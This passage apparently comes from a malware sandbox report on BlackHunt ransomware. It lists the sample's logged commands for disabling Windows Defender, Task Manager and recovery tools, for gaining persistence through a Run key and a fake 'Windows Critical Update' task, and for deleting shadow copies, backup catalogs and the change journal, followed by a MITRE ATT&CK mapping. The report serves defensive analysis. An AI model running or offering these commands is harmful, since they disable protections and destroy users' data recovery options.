- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe" /F
  2⤵
  PID:1036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1456
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1544
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2200
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2412
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2064
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2268
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3052
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:520
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3012

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:368

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2864

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2596

Network

DNS

ip-api.com

3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1

208.95.112.1:80

ip-api.com

3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

150 B
52 B
3
1

8.8.8.8:53

ip-api.com

dns

3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery